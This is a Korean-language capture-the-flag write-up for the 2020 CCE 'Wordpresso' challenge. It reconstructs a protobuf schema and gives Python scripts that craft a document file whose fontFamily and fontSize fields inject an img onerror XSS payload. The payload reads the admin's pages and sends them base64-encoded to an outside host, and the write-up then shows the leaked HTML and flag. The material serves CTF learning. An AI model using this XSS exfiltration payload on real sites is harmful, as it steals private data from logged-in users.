2020 CCE - Wordpresso

문제 파일 (for_user.zip)

문제를 분석해보면 protobuf 를 이용하여 파일을 만들고, 읽는 것을 볼 수 있다.

for_user/web/public/render.min.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var _$render_6 = {};
const {
Document: Document
} = _$document_pb_5, putStyle = (e, t) => {
let o = ["position: absolute", `top: ${e.y}px`, `left: ${e.x}px`, ...t];
return 0 === e.width && 0 === e.height || (o = o.concat([`width: ${e.width}px`, `height: ${e.height}px`])), o.join(";")
}, append = (e, t, o) => {
let r = [`<${t} `];
(o = o || {}).style && r.push(`style='${o.style}'`), r.push(">"), o.text && r.push((e => e.replace(/</g, "&lt;").replace(" ", "&nbsp;"))(o.text)), r.push(`</${t}>`), e.push(r.join(""))
};
self.load = (async e => {
(e => {
const t = e => [`font-family: ${e.fontFamily}`, `font-weight: ${e.fontWeight}`, `font-size: ${e.fontSize}`];
let o = [];
for (const r of e.pagesList)
for (const e of r.elementsList) {
const {
text: r,
bar: n
} = e;
r && append(o, "div", {
style: putStyle(r.rect, [...t(r)]),
text: r.content
}), n && append(o, "hr", {
style: putStyle(n.rect, [])
})
}
content.innerHTML = o.join(""), document.title = e.title
})(Document.deserializeBinary(e).toObject())
})

render.min.js 에서 파싱하는 정보를 기반으로 .proto 파일을 작성해준다.
for_user/web/public/example/welcome page.wordpresso를 참고하면 자동으로 파싱도 해줘서 편하다.

아래 코드는 대회중에 급하게 짠거라 proto3가 아닌 proto2로 되어있고, 원본과 맞지 않는 부분이 있을수도 있으니 주의해주세요

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
syntax = "proto2";
message Document {
required string title = 1;
repeated PagesList pageList = 100;
}

message PagesList {
repeated ElementsList elementsList = 1;
}

message ElementsList {
oneof test_oneof {
Text text = 1;
string form = 2;
Bar bar = 3;
}
}

message Text {
optional string fontFamily = 1;
optional string fontSize= 2;
optional uint64 fontWeight = 3;
optional Rect rect = 4;
optional string content = 5;
}

message Bar {
required Rect rect = 1;
}

message Rect {
optional double x = 1;
optional double y = 2;
optional double width = 3;
optional double height = 4;
}

이제 document.proto로부터 python 코드를 생성한다.

protoc --proto_path=. --python_out=. ./document.proto

이제 공격코드를 작성해준다. 공격은 render.min.js에서 style을 만드는 과정에서 style='${o.style}'로 싱글쿼터를 escape하지 않아 font-family 등의 값에서 '>'로 style을 닫아버릴 수 있었 던것을 이용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import document_pb2

document = document_pb2.Document()
document.title = "test title"

pagelist = document.pageList.add()
elementsList1 = pagelist.elementsList.add()
elementsList1.text.content = "asdf"
elementsList1.text.fontFamily = "a'>"
elementsList1.text.fontSize = '''<img src=x onerror=\"
var request = new XMLHttpRequest();
request.open('GET', '/', false);
request.send('');
if (request.readyState === 4) {
location.href = 'http://miku.blog:24242?' + btoa(request.responseText);
}\">'''
elementsList1.text.fontWeight = 100
elementsList1.text.rect.x = 10
elementsList1.text.rect.y = 10
elementsList1.text.rect.width = 10
elementsList1.text.rect.height = 10

f = open('output.wordpresso', "wb")
f.write(document.SerializeToString())
f.close()

결과물로 나온 .wordpresso 파일을 업로드하여 admin이 확인하게 한다. 그러면 XSS가 일어나서 admin이 소유한 문서 목록을 확인 가능하다.

base64 decode하면 이렇다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<html>
<head>
<title>Wordpresso</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/semantic-ui@2.4.2/dist/semantic.min.css">
<style>
#masthead {
background: #555;
}

#masthead .item {
margin: 0 1rem;
border-radius: 0;
line-height: 100%;
}

#masthead .logo.item {
font-size: 1.5rem;
padding: 0;
}
</style>
</head>
<body>
<div class="ui secondary inverted menu" id="masthead">
<div class="ui container">
<a class="logo item" href="/">
<i class="cloud icon"></i>
Wordpresso
</a>
<a class="item" href="/editor">Editor</a>
<a href="/examples" class="item">Gallery</a>
<a href="/report" class="item">Report</a>
</div>
</div>
<div class="ui container">

<style>
h1.ui.dividing.header {
padding-bottom: 8px;
}

form {
display: flex;
flex-direction: row;
width: auto;
}

input {
margin-right: 8px !important;
}

div.ui.empty.item {
font-size: 2rem;
color: #ccc;
}
</style>
<h1 class="ui dividing header">
Files
</h1>
<form action="/upload" method="POST" enctype="multipart/form-data" class="ui form">
<input type="file" name="document"/>
<button type="submit" class="ui labeled icon button">
<i class="upload icon"></i>
Upload
</button>
</form>
<div class="ui large relaxed list" id="files">

<a class="ui item" href="/d/41cb85ff5d4dd5e98b605c3f12ba61d1e5e690148cce08ccd8e83188fe7dbbd7">
<i class="file alternate icon"></i>
<div class="content">
Flag
</div>
</a>

</div>

</div>
</body>
</html>

/d/41cb85ff5d4dd5e98b605c3f12ba61d1e5e690148cce08ccd8e83188fe7dbbd7 Flag의 링크를 알았으니 다시 XSS 공격을 진행해준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import document_pb2

document = document_pb2.Document()
document.title = "test title"

pagelist = document.pageList.add()
elementsList1 = pagelist.elementsList.add()
elementsList1.text.content = "asdf"
elementsList1.text.fontFamily = "a'>"
elementsList1.text.fontSize = '''<img src=x onerror=\"
var request = new XMLHttpRequest();
request.open('GET', '/d/41cb85ff5d4dd5e98b605c3f12ba61d1e5e690148cce08ccd8e83188fe7dbbd7', false);
request.send('');
if (request.readyState === 4) {
location.href = 'http://miku.blog:24242?' + btoa(request.responseText);
}\">'''
elementsList1.text.fontWeight = 100
elementsList1.text.rect.x = 10
elementsList1.text.rect.y = 10
elementsList1.text.rect.width = 10
elementsList1.text.rect.height = 10

f = open('output.wordpresso', "wb")
f.write(document.SerializeToString())
f.close()

base64 decode하면 이렇다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<meta charset="utf-8">
<title>Document Viewer</title>
<script src="/render.min.js"></script>
<style>
body {
margin: 30px;
font-family: 'Nunito Sans', sans-serif;
}

.toolbox {
z-index: 100;
position: absolute;
top: 1em;
right: 1em;
}
</style>
</head>
<body>
<div id="content"></div>
<div class="toolbox">
<a class="ui right labeled icon button" href="#" id="downloader">
<i class="download icon"></i>
Download
</a>
</div>
<script>
const documentArr = Uint8Array.from(atob('CgVGbGFnIaIGSgpICkYiEgkAAAAAAAAwQBEAAAAAAAAwQCowQ0NFe3JldmVyc2UtZW5naW5lZXJpbmctbW9kZXJuLXdlYi10ZWNobm9sb2dpZXN9'), c => c.charCodeAt(0))
const downloader = document.querySelector('#downloader')

addEventListener('load', () => {
load(documentArr)
})

downloader.onclick = function () {
if (downloader.href.startsWith('blob:'))
return

downloader.href = URL.createObjectURL(new Blob([documentArr], {type: 'application/octet-stream'}))
downloader.download = document.title + '.wordpresso'
event.click()

return false
}
</script>
<link href="https://fonts.googleapis.com/css2?family=Nunito+Sans&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/semantic-ui@2.4.2/dist/semantic.min.css">
</body>
</html>

atob에 적힌값을 그대로 들고와서 파싱하면 flag가 나온다.

examples ❯ base64 -D | protoc --decode Document document.proto                                                                       
CgVGbGFnIaIGSgpICkYiEgkAAAAAAAAwQBEAAAAAAAAwQCowQ0NFe3JldmVyc2UtZW5naW5lZXJpbmctbW9kZXJuLXdlYi10ZWNobm9sb2dpZXN9
title: "Flag!"
pageList {
elementsList {
text {
rect {
x: 16
y: 16
}
content: "CCE{reverse-engineering-modern-web-technologies}"
}
}
}
Share